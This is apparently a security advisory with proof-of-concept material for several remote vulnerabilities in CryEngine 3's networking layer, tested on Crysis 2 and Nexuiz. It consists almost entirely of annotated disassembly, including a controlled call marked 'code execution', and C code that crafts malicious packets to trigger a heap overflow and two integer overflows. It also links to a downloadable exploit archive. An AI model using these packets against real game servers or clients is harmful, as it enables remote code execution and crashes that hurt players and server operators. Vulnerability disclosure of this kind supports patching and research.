CryEngine 3 multiple vulnerabilities
(tested with CryEngine 3 freesdk 3.4.5.6666, Crysis 2 1.9.0.0, Nexuiz 3.4.1.4418)


Proof-of-concept code
aluigi.org/poc/cryengine3_1.zip


  39519F23   MOV EAX,DWORD PTR DS:[ESI]
  39519F25   AND EAX,FFFFFFFC
  39519F28   MOV EAX,DWORD PTR DS:[EAX]    ; controlled
  39519F2A   AND ECX,FFFFFFFC
  39519F2D   MOV ECX,DWORD PTR DS:[ECX]
  39519F2F   CMP EAX,ECX                   ; must match, try 2
  39519F31   JGE SHORT CryNetwo.39519F47
  39519F33   MOV AL,1
  39519F35   POP ESI
  39519F36   MOV ECX,DWORD PTR SS:[ESP+1C]
  39519F3A   MOV DWORD PTR FS:[0],ECX
  39519F41   ADD ESP,28
  39519F44   RETN 8
  39519F47   JNZ CryNetwo.3951A094
  39519F4D   LEA ECX,DWORD PTR SS:[ESP+10]
  39519F51   MOV DWORD PTR SS:[ESP+C],EDX
  39519F55   CALL CryNetwo.395B7DE0
  39519F5A   MOV DWORD PTR SS:[ESP+28],0
  39519F62   MOV DWORD PTR SS:[ESP+10],CryNetwo.39647>
  39519F6A   MOV DWORD PTR SS:[ESP+14],CryNetwo.39647>
  39519F72   MOV DWORD PTR SS:[ESP+18],CryNetwo.39647>
  39519F7A   MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637>
  39519F82   MOV DWORD PTR SS:[ESP+28],1
  39519F8A   MOV DWORD PTR SS:[ESP+10],CryNetwo.39647>
  39519F92   MOV DWORD PTR SS:[ESP+14],CryNetwo.39647>
  39519F9A   MOV DWORD PTR SS:[ESP+18],CryNetwo.39637>
  39519FA2   MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637>
  39519FAA   MOV DWORD PTR SS:[ESP+28],2
  39519FB2   MOV DWORD PTR SS:[ESP+10],CryNetwo.39647>
  39519FBA   MOV DWORD PTR SS:[ESP+14],CryNetwo.39637>
  39519FC2   MOV DWORD PTR SS:[ESP+18],CryNetwo.39637>
  39519FCA   MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637>
  39519FD2   MOV DWORD PTR SS:[ESP+28],3
  39519FDA   MOV DWORD PTR SS:[ESP+10],CryNetwo.39637>
  39519FE2   MOV DWORD PTR SS:[ESP+14],CryNetwo.39637>
  39519FEA   MOV DWORD PTR SS:[ESP+18],CryNetwo.39637>
  39519FF2   MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637>
  39519FFA   MOV DWORD PTR SS:[ESP+28],4
  3951A002   MOV EDX,DWORD PTR DS:[ESI]    ; get pointer
  3951A004   LEA EAX,DWORD PTR SS:[ESP+8]
  3951A008   PUSH EAX
  3951A009   ADD ESI,4
  3951A00C   AND EDX,FFFFFFFC
  3951A00F   MOV EDX,DWORD PTR DS:[EDX+10] ; get pointer
  3951A012   LEA ECX,DWORD PTR SS:[ESP+14]
  3951A016   PUSH ESI
  3951A017   PUSH ECX
  3951A018   CALL EDX                      ; code execution


    // packet fragments heap overflow

    for(i = 0; i < 64; i++) {
        p = buff;
        p += putxx(p, crysis_set_type(0x93), 8);
        p += putxx(p, i,    8); // they must be different
        p += putxx(p, 0xff, 8); // they must be different
        p += putcc(p, 'a', BUFFSZ - (p - buff));
        len = send_recv(sd, buff, p - buff, NULL, 0, &peer, 0);
        sleepms(100);
    }


  395C8C6D  |MOV ECX,DWORD PTR DS:[EAX]    ; packet size
  395C8C6F  |SUB ECX,3                     ; integer overflow
  395C8C72  |PUSH ECX                      ; /n
  395C8C73  |ADD EBX,3
  395C8C76  |ADD EBP,ESI
  395C8C78  |LEA EAX,DWORD PTR DS:[EDX+EBP+25]
  395C8C7C  |PUSH EBX                      ; |src
  395C8C7D  |PUSH EAX                      ; |dest
  395C8C7E  |CALL <JMP.&MSVCR100.memcpy>   ; \memcpy


    // Packet fragment integer overflow

    p = buff;
    p += putxx(p, crysis_set_type(0x93), 8);
    p += putxx(p, 0, 8);
    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, &peer, 0);


  395E9FD4  |CMP DWORD PTR SS:[ESP+390],25 ; check packet size
  395E9FDC  |JNB SHORT CryNetwo.395E9FF4
  ...
  395EA22D  |LEA EBP,DWORD PTR DS:[ESI+2D] ; integer overflow
  395EA230  |SUB ESI,EBP
  395EA232  |ADD ESI,DWORD PTR SS:[ESP+390]
  ...
  395EA279  |PUSH ESI                      ; /n
  395EA27A  |PUSH EBP                      ; |src
  395EA27B  |PUSH EBX                      ; |dest
  395EA27C  |CALL <JMP.&MSVCR100.memcpy>   ; \memcpy


    // ConnectionSetup integer overflow

    p = buff;
    p += putxx(p, crysis_set_type(0x08), 8);
    p += putxx(p, build_ver, 32);
    p += putxx(p, 9, 32);
    p += putxx(p, 3, 32);
    p += putxx(p, 3, 32);
    p += putxx(p, proto_ver, 32);
    p += putcc(p, 'a', 4 + 4 + 4 + 4 + (7));
    // result: memcpy 0xffffffff
    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, &peer, 0);